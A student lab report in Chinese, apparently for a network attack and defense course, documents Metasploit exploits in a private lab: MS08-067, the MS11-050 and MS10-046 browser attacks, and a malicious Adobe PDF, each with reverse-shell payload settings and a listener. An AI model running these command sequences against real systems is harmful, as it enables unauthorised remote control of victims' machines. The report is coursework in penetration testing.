20155308『网络对抗技术』Exp5 MSF基础应用

20155308『网络对抗技术』Exp5 MSF基础应用

1、原理与实践说明

实践内容

本实践目标是掌握metasploit的基本应用方式，重点经常使用的三种攻击方式的思路。具体须要完成：

• 一个主动攻击实践，如ms08-067; （1分）

• 一个针对浏览器的攻击，如ms11-050；（1分）

• 一个针对客户端的攻击，如Adobe；（1分）

• 成功应用任何一个辅助模块。（0.5分）

以上四个小实践可不限于以上示例，并要求至少有一个是和其余全部同窗不同的，不然扣除0.5分。

基础问题回答

• 用本身的话解释什么是exploit,payload,encode？

1. exploit：Exploit 的英文意思就是利用，它在黑客眼里就是漏洞利用。有漏洞不必定就有Exploit(利用)。有Exploit就确定有漏洞。
2. payload：病毒一般会作一些有害的或者恶性的动做。在病毒代码中实现这个功能的部分叫作"有效负载"(payload)。payload能够实现任何运行在受害者环境中的程序所能作的事情，而且可以执行动做包括破坏文件删除文件，向病毒的做者或者任意的接收者发送敏感信息，以及提供通向被感染计算机的后门。
3. encode：编码，编制成计算机语言

实践内容

目录

• 主动攻击：ms08_067漏洞攻击
• 对浏览器攻击：ms10_046漏洞攻击
• 对Adobe的漏洞攻击：adobe_toolbutton
• 尝试利用漏洞对win7系统进行攻击

Windows服务渗透攻击——MS08-067安全漏洞

攻击机：Kali(IP地址:192.168.91.135)

靶机： windows XP SP3(English)(IP地址:192.168.91.134)

在攻击机kali输入msfconsole进入控制台，依次输入如下指令：

• msf > use exploit/windows/smb/ms08_067_netapi
• msf exploit(windows/smb/ms08_067_netapi) > show payloads
• msf exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
• msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.91.135 //攻击机ip
• msf exploit(windows/smb/ms08_067_netapi) > set LPORT 5308 //攻击端口
• msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.91.134 //靶机ip，特定漏洞端口已经固定
• msf exploit(windows/smb/ms08_067_netapi) > set target 0 //自动选择目标系统类型，匹配度较高
• msf exploit(windows/smb/ms08_067_netapi) > exploit //攻击

• 创建会话，攻击成功结果以下：

针对浏览器的攻击：ms11_050

攻击机：kali (IP地址:192.168.91.135)

靶机：WindowsXP Professional sp2/Windows7专业版 (IP地址:192.168.91.136)

在攻击机kali输入msfconsole进入控制台，依次输入如下指令：

• msf > use windows/browser/ms11_050_mshtml_cobjectelement

• info指令查看该模块的信息

• targets信息

• options信息

• msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_tcp //http反向回连
• msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.91.135 //攻击机ip
• msf exploit(ms11_050_cobjectelement) > set LPORT 5308 //攻击端口固定
• msf exploit(ms11_050_cobjectelement) > set URIPATH baidu //统一资源标识符路径设置
• set target 1
• msf exploit(ms11_050_cobjectelement) > exploit

• 攻击成功后会有靶机须要访问的网址

• 可是不知道一直回连不成功,一直再试，也不知道为啥？？看了咱们小组长的博客，我学习了新的浏览器攻击方式，见下面。

对浏览器攻击：ms10_046漏洞攻击

• 用
  use exploit/windows/browser/ms10_046_shortcut_icon_dllloader使用该模块，再使用
  show payloads
  查看能够供咱们使用的payload：

• SRVHOST填的是本地监听主机的IP地址，LHOST也是监听的IP地址，因此这里SRVHOST和LHOST都应该填攻击机的IP地址：
• 使用exploit指令执行漏洞，能够看到生成了一个url:

• 使用exploit指令执行漏洞，能够看到生成了一个url:

• 在MSF终端看见漏洞执行成功：

针对Adobe Reader软件的渗透攻击——adobe_toolbutton

攻击机：kali

靶机：windowsXP Professional sp2

• 在攻击机kali输入msfconsole进入控制台，依次输入如下指令：

• 先用search adobe得知此漏洞所在的模块

• 选择一个模块

• 用show targets查看能够被攻击的靶机的操做系统型号

• msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
• msf exploit(adobe_cooltype_sing) > set LHOST 192.168.91.135 //攻击机ip
• msf exploit(adobe_cooltype_sing) > set LPORT 5308//攻击端口
• msf exploit(adobe_cooltype_sing) > set FILENAME 5308hwf.pdf //设置生成pdf文件的名字
• msf exploit(adobe_cooltype_sing) > exploit//攻击

• 找到5308hwf.pdf文件

• 将文件放到靶机上

• 在kali上进入监听模块，输入如下命令：

• msf > use exploit/multi/handler //进入监听模块
• msf exploit(handler) > set payload windows/meterpreter/reverse_tcp//tcp反向链接
• msf exploit(handler) > set LHOST 192.168.91.135 //攻击机ip
• msf exploit(handler) > set LPORT 5308 //攻击端口固定

• msf exploit(handler) > exploit

• 发现已经获取了被攻击者权力，能够对其进行操做

• 若关闭pdf文件，则失去权限，攻击失败

成功应用任何一个辅助模块

• 输入命令show auxiliary查看全部辅助模块

• 选择其中一个便可

• 用指令info查看相关信息

• 进行扫描，结果以下图所示

实验中的问题

• 我在进行kali机的IP地址的查询时，正常的地址显示是这样的

• 可是老是出现eth0消失的状况：

• 针对这个问题，我以前的解决办法其一是关闭虚拟机，从新开一遍，地址就会正常了。其二就是从新安一下虚拟机，因此个人硬盘中虚拟机老是得备份。可是老是出现这个问题也不是办法，我相信有的同窗也遇到过这个问题（不会只有我这么惨吧？？？）

• 解决：

通常是eth0被禁掉了，就只会显示127.0.0.1这个回环地址 你用
ifup eth0 ifconfig up eth0 上面两个命令均可以，而后 /etc/init.d/network restart你就能看到eth0了。

• 下面这篇博客是解释“linux系统查看IP地址，不显示IP地址或者只显示127.0.0.1”缘由及解决过程，能够参考一下。

https://blog.csdn.net/qq_36769100/article/details/71473632

实验感想

本次实验经过经过MSF的攻击模块对计算机进行各类攻击方法的实践，比前几回的攻击更加的系统化，同时攻击的方法更加深刻。经过最后一个板块的研究，使我将学习理论知识转化为自我实践过程。

在其中某些模块的学习中，老是会有攻击不成功的地方，每当不成功，我就很懊恼，为啥老是很别人的不同。可是在课上听到老师说，攻击不成功是很正常的事情，我忽然感受到了信心。而后经过查找学长学姐或是网上的解决方法，不断解决问题，最后成功，感受颇有成就感。